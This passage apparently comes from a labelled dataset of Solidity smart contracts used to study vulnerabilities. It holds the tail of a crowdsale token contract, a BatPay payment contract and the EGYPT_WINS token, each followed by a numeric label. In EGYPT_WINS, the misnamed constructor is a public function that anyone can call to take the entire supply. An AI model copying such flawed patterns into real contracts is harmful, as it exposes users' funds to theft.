uint256 _endTime,
uint256 _whiteListRegistrationEndTime,
uint256 _whiteListEndTime,
uint256 _rate,
uint256 _cap,
uint256 _goal,
address _wallet
) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
CappedCrowdsale(_cap)
RefundableCrowdsale(_goal)
WhiteListCrowdsale(_whiteListRegistrationEndTime, _whiteListEndTime)
{
DemeterToken(token).setUnlockTime(_endTime);
}
function buyTokens(address _beneficiary) public payable whenNotPaused {
require(msg.value >= 0.1 ether);
super.buyTokens(_beneficiary);
issueCompanyTokens(_beneficiary, msg.value);
}
function destroy() public onlyOwner {
vault.close();
super.destroy();
DemeterToken(token).destroyAndSend(this);
}
function destroyAndSend(address _recipient) public onlyOwner {
vault.close();
super.destroyAndSend(_recipient);
DemeterToken(token).destroyAndSend(_recipient);
}
function updateGoal(uint256 _goal) public onlyOwner {
require(_goal >= 0 && _goal <= cap);
require(!hasEnded());
goal = _goal;
}
function issueCompanyTokens(address _investor, uint256 _weiAmount) internal {
uint256 investorTokens = _weiAmount.mul(rate);
uint256 bonusTokens = computeBonusTokens(_investor, _weiAmount);
uint256 companyTokens = investorTokens.mul(100 - PERC_TOKENS_TO_INVESTOR).div(PERC_TOKENS_TO_INVESTOR);
uint256 totalTokens = investorTokens.add(companyTokens);
uint256 devTokens = totalTokens.mul(PERC_TOKENS_TO_DEV).div(100);
token.mint(DEV_WALLET, devTokens);
uint256 bizDevTokens = (totalTokens.mul(PERC_TOKENS_TO_BIZDEV).div(100)).sub(bonusTokens);
token.mint(BIZDEV_WALLET, bizDevTokens);
uint256 actualCompanyTokens = companyTokens.sub(bonusTokens);
uint256 releaseTokens = actualCompanyTokens.sub(bizDevTokens).sub(devTokens);
token.mint(RELEASE_WALLET, releaseTokens);
CompanyTokensIssued(_investor, _weiAmount, actualCompanyTokens);
}
function createTokenContract() internal returns (MintableToken) {
return new DemeterToken();
}
function unlockTokens() internal {
if (DemeterToken(token).unlockTime() > block.timestamp) {
DemeterToken(token).setUnlockTime(block.timestamp);
}
}
function finalization() internal {
super.finalization();
unlockTokens();
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TimeLockedToken is MintableToken
{
uint256 public unlockTime = 0;
modifier canTransfer() {
require(unlockTime == 0 || block.timestamp > unlockTime);
_;
}
function setUnlockTime(uint256 _unlockTime) public onlyOwner {
require(unlockTime == 0 || _unlockTime < unlockTime);
require(_unlockTime >= block.timestamp);
unlockTime = _unlockTime;
}
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract DemeterToken is TimeLockedToken, Destructible
{
string public name = "Demeter";
string public symbol = "DMT";
uint256 public decimals = 18;
} | 0 | 849 |
pragma solidity ^0.4.25;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul64(uint256 a, uint256 b) internal pure returns (uint64) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
require(c < 2**64);
return uint64(c);
}
function div64(uint256 a, uint256 b) internal pure returns (uint64) {
uint256 c = a / b;
require(c < 2**64);
return uint64(c);
}
function sub64(uint256 a, uint256 b) internal pure returns (uint64) {
require(b <= a);
uint256 c = a - b;
require(c < 2**64);
return uint64(c);
}
function add64(uint256 a, uint256 b) internal pure returns (uint64) {
uint256 c = a + b;
require(c >= a && c < 2**64);
return uint64(c);
}
function mul32(uint256 a, uint256 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
require(c < 2**32);
return uint32(c);
}
function div32(uint256 a, uint256 b) internal pure returns (uint32) {
uint256 c = a / b;
require(c < 2**32);
return uint32(c);
}
function sub32(uint256 a, uint256 b) internal pure returns (uint32) {
require(b <= a);
uint256 c = a - b;
require(c < 2**32);
return uint32(c);
}
function add32(uint256 a, uint256 b) internal pure returns (uint32) {
uint256 c = a + b;
require(c >= a && c < 2**32);
return uint32(c);
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
library Merkle {
function combinedHash(bytes32 a, bytes32 b) public pure returns(bytes32) {
return keccak256(abi.encodePacked(a, b));
}
function getProofRootHash(bytes32[] memory proof, uint256 key, bytes32 leaf) public pure returns(bytes32) {
bytes32 hash = keccak256(abi.encodePacked(leaf));
uint256 k = key;
for(uint i = 0; i<proof.length; i++) {
uint256 bit = k % 2;
k = k / 2;
if (bit == 0)
hash = combinedHash(hash, proof[i]);
else
hash = combinedHash(proof[i], hash);
}
return hash;
}
}
contract Data {
struct Account {
address owner;
uint64 balance;
uint32 lastCollectedPaymentId;
}
struct BulkRegistration {
bytes32 rootHash;
uint32 recordCount;
uint32 smallestRecordId;
}
struct Payment {
uint32 fromAccountId;
uint64 amount;
uint64 fee;
uint32 smallestAccountId;
uint32 greatestAccountId;
uint32 totalNumberOfPayees;
uint64 lockTimeoutBlockNumber;
bytes32 paymentDataHash;
bytes32 lockingKeyHash;
bytes32 metadata;
}
struct CollectSlot {
uint32 minPayIndex;
uint32 maxPayIndex;
uint64 amount;
uint64 delegateAmount;
uint32 to;
uint64 block;
uint32 delegate;
uint32 challenger;
uint32 index;
uint64 challengeAmount;
uint8 status;
address addr;
bytes32 data;
}
struct Config {
uint32 maxBulk;
uint32 maxTransfer;
uint32 challengeBlocks;
uint32 challengeStepBlocks;
uint64 collectStake;
uint64 challengeStake;
uint32 unlockBlocks;
uint32 massExitIdBlocks;
uint32 massExitIdStepBlocks;
uint32 massExitBalanceBlocks;
uint32 massExitBalanceStepBlocks;
uint64 massExitStake;
uint64 massExitChallengeStake;
uint64 maxCollectAmount;
}
Config public params;
address public owner;
uint public constant MAX_ACCOUNT_ID = 2**32-1;
uint public constant NEW_ACCOUNT_FLAG = 2**256-1;
uint public constant INSTANT_SLOT = 32768;
}
contract Accounts is Data {
event BulkRegister(uint bulkSize, uint smallestAccountId, uint bulkId );
event AccountRegistered(uint accountId, address accountAddress);
IERC20 public token;
Account[] public accounts;
BulkRegistration[] public bulkRegistrations;
function isValidId(uint accountId) public view returns (bool) {
return (accountId < accounts.length);
}
function isAccountOwner(uint accountId) public view returns (bool) {
return isValidId(accountId) && msg.sender == accounts[accountId].owner;
}
modifier validId(uint accountId) {
require(isValidId(accountId), "accountId is not valid");
_;
}
modifier onlyAccountOwner(uint accountId) {
require(isAccountOwner(accountId), "Only account owner can invoke this method");
_;
}
function bulkRegister(uint256 bulkSize, bytes32 rootHash) public {
require(bulkSize > 0, "Bulk size can't be zero");
require(bulkSize < params.maxBulk, "Cannot register this number of ids simultaneously");
require(SafeMath.add(accounts.length, bulkSize) <= MAX_ACCOUNT_ID, "Cannot register: ran out of ids");
require(rootHash > 0, "Root hash can't be zero");
emit BulkRegister(bulkSize, accounts.length, bulkRegistrations.length);
bulkRegistrations.push(BulkRegistration(rootHash, uint32(bulkSize), uint32(accounts.length)));
accounts.length = SafeMath.add(accounts.length, bulkSize);
}
function claimBulkRegistrationId(address addr, bytes32[] memory proof, uint accountId, uint bulkId) public {
require(bulkId < bulkRegistrations.length, "the bulkId referenced is invalid");
uint smallestAccountId = bulkRegistrations[bulkId].smallestRecordId;
uint n = bulkRegistrations[bulkId].recordCount;
bytes32 rootHash = bulkRegistrations[bulkId].rootHash;
bytes32 hash = Merkle.getProofRootHash(proof, SafeMath.sub(accountId, smallestAccountId), bytes32(addr));
require(accountId >= smallestAccountId && accountId < smallestAccountId + n,
"the accountId specified is not part of that bulk registration slot");
require(hash == rootHash, "invalid Merkle proof");
emit AccountRegistered(accountId, addr);
accounts[accountId].owner = addr;
}
function register() public returns (uint32 ret) {
require(accounts.length < MAX_ACCOUNT_ID, "no more accounts left");
ret = (uint32)(accounts.length);
accounts.push(Account(msg.sender, 0, 0));
emit AccountRegistered(ret, msg.sender);
return ret;
}
function withdraw(uint64 amount, uint256 accountId)
external
onlyAccountOwner(accountId)
{
uint64 balance = accounts[accountId].balance;
require(balance >= amount, "insufficient funds");
require(amount > 0, "amount should be nonzero");
balanceSub(accountId, amount);
require(token.transfer(msg.sender, amount), "transfer failed");
}
function deposit(uint64 amount, uint256 accountId) external {
require(accountId < accounts.length || accountId == NEW_ACCOUNT_FLAG, "invalid accountId");
require(amount > 0, "amount should be positive");
if (accountId == NEW_ACCOUNT_FLAG) {
uint newId = register();
accounts[newId].balance = amount;
} else {
balanceAdd(accountId, amount);
}
require(token.transferFrom(msg.sender, address(this), amount), "transfer failed");
}
function balanceAdd(uint accountId, uint64 amount)
internal
validId(accountId)
{
accounts[accountId].balance = SafeMath.add64(accounts[accountId].balance, amount);
}
function balanceSub(uint accountId, uint64 amount)
internal
validId(accountId)
{
uint64 balance = accounts[accountId].balance;
require(balance >= amount, "not enough funds");
accounts[accountId].balance = SafeMath.sub64(balance, amount);
}
function balanceOf(uint accountId)
external
view
validId(accountId)
returns (uint64)
{
return accounts[accountId].balance;
}
function getAccountsLength() external view returns (uint) {
return accounts.length;
}
function getBulkLength() external view returns (uint) {
return bulkRegistrations.length;
}
}
library Challenge {
uint8 public constant PAY_DATA_HEADER_MARKER = 0xff;
modifier onlyValidCollectSlot(Data.CollectSlot storage collectSlot, uint8 validStatus) {
require(!challengeHasExpired(collectSlot), "Challenge has expired");
require(isSlotStatusValid(collectSlot, validStatus), "Wrong Collect Slot status");
_;
}
function challengeHasExpired(Data.CollectSlot storage collectSlot) public view returns (bool) {
return collectSlot.block <= block.number;
}
function isSlotStatusValid(Data.CollectSlot storage collectSlot, uint8 validStatus) public view returns (bool) {
return collectSlot.status == validStatus;
}
function getFutureBlock(uint delta) public view returns(uint64) {
return SafeMath.add64(block.number, delta);
}
function getDataSum(bytes memory data) public pure returns (uint sum) {
require(data.length > 0, "no data provided");
require(data.length % 12 == 0, "wrong data format, data length should be multiple of 12");
uint n = SafeMath.div(data.length, 12);
uint modulus = 2**64;
sum = 0;
for (uint i = 0; i < n; i++) {
assembly {
let amount := mod(mload(add(data, add(8, mul(i, 12)))), modulus)
let result := add(sum, amount)
switch or(gt(result, modulus), eq(result, modulus))
case 1 { revert (0, 0) }
default { sum := result }
}
}
}
function getDataAtIndex(bytes memory data, uint index) public pure returns (uint64 amount, uint32 payIndex) {
require(data.length > 0, "no data provided");
require(data.length % 12 == 0, "wrong data format, data length should be multiple of 12");
uint mod1 = 2**64;
uint mod2 = 2**32;
uint i = SafeMath.mul(index, 12);
require(i <= SafeMath.sub(data.length, 12), "index * 12 must be less or equal than (data.length - 12)");
assembly {
amount := mod( mload(add(data, add(8, i))), mod1 )
payIndex := mod( mload(add(data, add(12, i))), mod2 )
}
}
function getBytesPerId(bytes payData) internal pure returns (uint) {
uint len = payData.length;
require(len >= 2, "payData length should be >= 2");
require(uint8(payData[0]) == PAY_DATA_HEADER_MARKER, "payData header missing");
uint bytesPerId = uint(payData[1]);
require(bytesPerId > 0 && bytesPerId < 32, "second byte of payData should be positive and less than 32");
require((len - 2) % bytesPerId == 0,
"payData length is invalid, all payees must have same amount of bytes (payData[1])");
return bytesPerId;
}
function getPayDataSum(bytes memory payData, uint id, uint amount) public pure returns (uint sum) {
uint bytesPerId = getBytesPerId(payData);
uint modulus = 1 << SafeMath.mul(bytesPerId, 8);
uint currentId = 0;
sum = 0;
for (uint i = 2; i < payData.length; i += bytesPerId) {
assembly {
currentId := add(
currentId,
mod(
mload(add(payData, add(i, bytesPerId))),
modulus))
switch eq(currentId, id)
case 1 { sum := add(sum, amount) }
}
}
}
function getPayDataCount(bytes payData) public pure returns (uint) {
uint bytesPerId = getBytesPerId(payData);
return SafeMath.div(payData.length - 2, bytesPerId);
}
function challenge_1(
Data.CollectSlot storage collectSlot,
Data.Config storage config,
Data.Account[] storage accounts,
uint32 challenger
)
public
onlyValidCollectSlot(collectSlot, 1)
{
require(accounts[challenger].balance >= config.challengeStake, "not enough balance");
collectSlot.status = 2;
collectSlot.challenger = challenger;
collectSlot.block = getFutureBlock(config.challengeStepBlocks);
accounts[challenger].balance -= config.challengeStake;
}
function challenge_2(
Data.CollectSlot storage collectSlot,
Data.Config storage config,
bytes memory data
)
public
onlyValidCollectSlot(collectSlot, 2)
{
require(getDataSum(data) == collectSlot.amount, "data doesn't represent collected amount");
collectSlot.data = keccak256(data);
collectSlot.status = 3;
collectSlot.block = getFutureBlock(config.challengeStepBlocks);
}
function challenge_3(
Data.CollectSlot storage collectSlot,
Data.Config storage config,
bytes memory data,
uint32 disputedPaymentIndex
)
public
onlyValidCollectSlot(collectSlot, 3)
{
require(collectSlot.data == keccak256(data),
"data mismatch, collected data hash doesn't match provided data hash");
(collectSlot.challengeAmount, collectSlot.index) = getDataAtIndex(data, disputedPaymentIndex);
collectSlot.status = 4;
collectSlot.block = getFutureBlock(config.challengeStepBlocks);
}
function challenge_4(
Data.CollectSlot storage collectSlot,
Data.Payment[] storage payments,
bytes memory payData
)
public
onlyValidCollectSlot(collectSlot, 4)
{
require(collectSlot.index >= collectSlot.minPayIndex && collectSlot.index < collectSlot.maxPayIndex,
"payment referenced is out of range");
Data.Payment memory p = payments[collectSlot.index];
require(keccak256(payData) == p.paymentDataHash,
"payData mismatch, payment's data hash doesn't match provided payData hash");
require(p.lockingKeyHash == 0, "payment is locked");
uint collected = getPayDataSum(payData, collectSlot.to, p.amount);
if (collectSlot.to >= p.smallestAccountId && collectSlot.to < p.greatestAccountId) {
collected = SafeMath.add(collected, p.amount);
}
require(collected == collectSlot.challengeAmount,
"amount mismatch, provided payData sum doesn't match collected challenge amount");
collectSlot.status = 5;
}
function challenge_success(
Data.CollectSlot storage collectSlot,
Data.Config storage config,
Data.Account[] storage accounts
)
public
{
require((collectSlot.status == 2 || collectSlot.status == 4),
"Wrong Collect Slot status");
require(challengeHasExpired(collectSlot),
"Challenge not yet finished");
accounts[collectSlot.challenger].balance = SafeMath.add64(
accounts[collectSlot.challenger].balance,
SafeMath.add64(config.collectStake, config.challengeStake));
collectSlot.status = 0;
}
function challenge_failed(
Data.CollectSlot storage collectSlot,
Data.Config storage config,
Data.Account[] storage accounts
)
public
{
require(collectSlot.status == 5 || (collectSlot.status == 3 && block.number >= collectSlot.block),
"challenge not completed");
accounts[collectSlot.delegate].balance = SafeMath.add64(
accounts[collectSlot.delegate].balance,
config.challengeStake);
collectSlot.challenger = 0;
collectSlot.status = 1;
collectSlot.block = getFutureBlock(config.challengeBlocks);
}
function recoverHelper(bytes32 hash, bytes sig) public pure returns (address) {
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, hash));
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return address(0);
}
return ecrecover(prefixedHash, v, r, s);
}
}
contract Payments is Accounts {
event PaymentRegistered(
uint32 indexed payIndex,
uint indexed from,
uint totalNumberOfPayees,
uint amount
);
event PaymentUnlocked(uint32 indexed payIndex, bytes key);
event PaymentRefunded(uint32 beneficiaryAccountId, uint64 amountRefunded);
event Collect(
uint indexed delegate,
uint indexed slot,
uint indexed to,
uint32 fromPayindex,
uint32 toPayIndex,
uint amount
);
event Challenge1(uint indexed delegate, uint indexed slot, uint challenger);
event Challenge2(uint indexed delegate, uint indexed slot);
event Challenge3(uint indexed delegate, uint indexed slot, uint index);
event Challenge4(uint indexed delegate, uint indexed slot);
event ChallengeSuccess(uint indexed delegate, uint indexed slot);
event ChallengeFailed(uint indexed delegate, uint indexed slot);
Payment[] public payments;
mapping (uint32 => mapping (uint32 => CollectSlot)) public collects;
function registerPayment(
uint32 fromId,
uint64 amount,
uint64 fee,
bytes payData,
uint newCount,
bytes32 rootHash,
bytes32 lockingKeyHash,
bytes32 metadata
)
external
{
require(payments.length < 2**32, "Cannot add more payments");
require(isAccountOwner(fromId), "Invalid fromId");
require(amount > 0, "Invalid amount");
require(newCount == 0 || rootHash > 0, "Invalid root hash");
require(fee == 0 || lockingKeyHash > 0, "Invalid lock hash");
Payment memory p;
p.totalNumberOfPayees = SafeMath.add32(Challenge.getPayDataCount(payData), newCount);
require(p.totalNumberOfPayees > 0, "Invalid number of payees, should at least be 1 payee");
require(p.totalNumberOfPayees < params.maxTransfer,
"Too many payees, it should be less than config maxTransfer");
p.fromAccountId = fromId;
p.amount = amount;
p.fee = fee;
p.lockingKeyHash = lockingKeyHash;
p.metadata = metadata;
p.smallestAccountId = uint32(accounts.length);
p.greatestAccountId = SafeMath.add32(p.smallestAccountId, newCount);
p.lockTimeoutBlockNumber = SafeMath.add64(block.number, params.unlockBlocks);
p.paymentDataHash = keccak256(abi.encodePacked(payData));
uint64 totalCost = SafeMath.mul64(amount, p.totalNumberOfPayees);
totalCost = SafeMath.add64(totalCost, fee);
balanceSub(fromId, totalCost);
if (newCount > 0) {
bulkRegister(newCount, rootHash);
}
payments.push(p);
emit PaymentRegistered(SafeMath.sub32(payments.length, 1), p.fromAccountId, p.totalNumberOfPayees, p.amount);
}
function unlock(uint32 payIndex, uint32 unlockerAccountId, bytes memory key) public returns(bool) {
require(payIndex < payments.length, "invalid payIndex, payments is not that long yet");
require(isValidId(unlockerAccountId), "Invalid unlockerAccountId");
require(block.number < payments[payIndex].lockTimeoutBlockNumber, "Hash lock expired");
bytes32 h = keccak256(abi.encodePacked(unlockerAccountId, key));
require(h == payments[payIndex].lockingKeyHash, "Invalid key");
payments[payIndex].lockingKeyHash = bytes32(0);
balanceAdd(unlockerAccountId, payments[payIndex].fee);
emit PaymentUnlocked(payIndex, key);
return true;
}
function refundLockedPayment(uint32 payIndex) external returns (bool) {
require(payIndex < payments.length, "invalid payIndex, payments is not that long yet");
require(payments[payIndex].lockingKeyHash != 0, "payment is already unlocked");
require(block.number >= payments[payIndex].lockTimeoutBlockNumber, "Hash lock has not expired yet");
Payment memory payment = payments[payIndex];
require(payment.totalNumberOfPayees > 0, "payment already refunded");
uint64 total = SafeMath.add64(
SafeMath.mul64(payment.totalNumberOfPayees, payment.amount),
payment.fee
);
payment.totalNumberOfPayees = 0;
payment.fee = 0;
payment.amount = 0;
payments[payIndex] = payment;
balanceAdd(payment.fromAccountId, total);
emit PaymentRefunded(payment.fromAccountId, total);
return true;
}
function collect(
uint32 delegate,
uint32 slotId,
uint32 toAccountId,
uint32 maxPayIndex,
uint64 declaredAmount,
uint64 fee,
address destination,
bytes memory signature
)
public
{
require(isAccountOwner(delegate), "invalid delegate");
require(isValidId(toAccountId), "toAccountId must be a valid account id");
freeSlot(delegate, slotId);
Account memory tacc = accounts[toAccountId];
require(tacc.owner != 0, "account registration has to be completed");
if (delegate != toAccountId) {
bytes32 hash =
keccak256(
abi.encodePacked(
address(this), delegate, toAccountId, tacc.lastCollectedPaymentId,
maxPayIndex, declaredAmount, fee, destination
));
require(Challenge.recoverHelper(hash, signature) == tacc.owner, "Bad user signature");
}
require(maxPayIndex > 0 && maxPayIndex <= payments.length,
"invalid maxPayIndex, payments is not that long yet");
require(maxPayIndex > tacc.lastCollectedPaymentId, "account already collected payments up to maxPayIndex");
require(payments[maxPayIndex - 1].lockTimeoutBlockNumber < block.number,
"cannot collect payments that can be unlocked");
require(declaredAmount <= params.maxCollectAmount, "declaredAmount is too big");
require(fee <= declaredAmount, "fee is too big, should be smaller than declaredAmount");
CollectSlot storage sl = collects[delegate][slotId];
sl.delegate = delegate;
sl.minPayIndex = tacc.lastCollectedPaymentId;
sl.maxPayIndex = maxPayIndex;
sl.amount = declaredAmount;
sl.to = toAccountId;
sl.block = Challenge.getFutureBlock(params.challengeBlocks);
sl.status = 1;
uint64 needed = params.collectStake;
if (slotId >= INSTANT_SLOT) {
uint64 declaredAmountLessFee = SafeMath.sub64(declaredAmount, fee);
sl.delegateAmount = declaredAmount;
needed = SafeMath.add64(needed, declaredAmountLessFee);
sl.addr = address(0);
balanceAdd(toAccountId, declaredAmountLessFee);
} else
{
sl.delegateAmount = fee;
sl.addr = destination;
}
require(accounts[delegate].balance >= needed, "not enough funds");
accounts[toAccountId].lastCollectedPaymentId = uint32(maxPayIndex);
balanceSub(delegate, needed);
if (destination != address(0) && slotId >= INSTANT_SLOT) {
uint64 toWithdraw = accounts[toAccountId].balance;
accounts[toAccountId].balance = 0;
require(token.transfer(destination, toWithdraw), "transfer failed");
}
emit Collect(delegate, slotId, toAccountId, tacc.lastCollectedPaymentId, maxPayIndex, declaredAmount);
}
function getPaymentsLength() external view returns (uint) {
return payments.length;
}
function challenge_1(
uint32 delegate,
uint32 slot,
uint32 challenger
)
public
validId(delegate)
onlyAccountOwner(challenger)
{
Challenge.challenge_1(collects[delegate][slot], params, accounts, challenger);
emit Challenge1(delegate, slot, challenger);
}
function challenge_2(
uint32 delegate,
uint32 slot,
bytes memory data
)
public
onlyAccountOwner(delegate)
{
Challenge.challenge_2(collects[delegate][slot], params, data);
emit Challenge2(delegate, slot);
}
function challenge_3(
uint32 delegate,
uint32 slot,
bytes memory data,
uint32 index
)
public
validId(delegate)
{
require(isAccountOwner(collects[delegate][slot].challenger), "only challenger can call challenge_2");
Challenge.challenge_3(collects[delegate][slot], params, data, index);
emit Challenge3(delegate, slot, index);
}
function challenge_4(
uint32 delegate,
uint32 slot,
bytes memory payData
)
public
onlyAccountOwner(delegate)
{
Challenge.challenge_4(
collects[delegate][slot],
payments,
payData
);
emit Challenge4(delegate, slot);
}
function challenge_success(
uint32 delegate,
uint32 slot
)
public
validId(delegate)
{
Challenge.challenge_success(collects[delegate][slot], params, accounts);
emit ChallengeSuccess(delegate, slot);
}
function challenge_failed(
uint32 delegate,
uint32 slot
)
public
onlyAccountOwner(delegate)
{
Challenge.challenge_failed(collects[delegate][slot], params, accounts);
emit ChallengeFailed(delegate, slot);
}
function freeSlot(uint32 delegate, uint32 slot) public {
CollectSlot memory s = collects[delegate][slot];
if (s.status == 0) return;
require(s.status == 1, "slot not available");
require(block.number >= s.block, "slot not available");
collects[delegate][slot].status = 0;
balanceAdd(delegate, SafeMath.add64(s.delegateAmount, params.collectStake));
uint64 balance = SafeMath.sub64(s.amount, s.delegateAmount);
if (s.addr != address(0))
{
balance = SafeMath.add64(balance, accounts[s.to].balance);
accounts[s.to].balance = 0;
if (balance != 0)
require(token.transfer(s.addr, balance), "transfer failed");
} else
{
balanceAdd(s.to, balance);
}
}
}
contract BatPay is Payments {
constructor(
IERC20 token_,
uint32 maxBulk,
uint32 maxTransfer,
uint32 challengeBlocks,
uint32 challengeStepBlocks,
uint64 collectStake,
uint64 challengeStake,
uint32 unlockBlocks,
uint64 maxCollectAmount
)
public
{
require(token_ != address(0), "Token address can't be zero");
require(maxBulk > 0, "Parameter maxBulk can't be zero");
require(maxTransfer > 0, "Parameter maxTransfer can't be zero");
require(challengeBlocks > 0, "Parameter challengeBlocks can't be zero");
require(challengeStepBlocks > 0, "Parameter challengeStepBlocks can't be zero");
require(collectStake > 0, "Parameter collectStake can't be zero");
require(challengeStake > 0, "Parameter challengeStake can't be zero");
require(unlockBlocks > 0, "Parameter unlockBlocks can't be zero");
require(maxCollectAmount > 0, "Parameter maxCollectAmount can't be zero");
owner = msg.sender;
token = IERC20(token_);
params.maxBulk = maxBulk;
params.maxTransfer = maxTransfer;
params.challengeBlocks = challengeBlocks;
params.challengeStepBlocks = challengeStepBlocks;
params.collectStake = collectStake;
params.challengeStake = challengeStake;
params.unlockBlocks = unlockBlocks;
params.maxCollectAmount = maxCollectAmount;
}
} | 1 | 4,332 |
pragma solidity ^0.4.21 ;
contract EGYPT_WINS {
mapping (address => uint256) public balanceOf;
string public name = " EGYPT_WINS " ;
string public symbol = " EGYWI " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1743148604647560000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 2,466 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.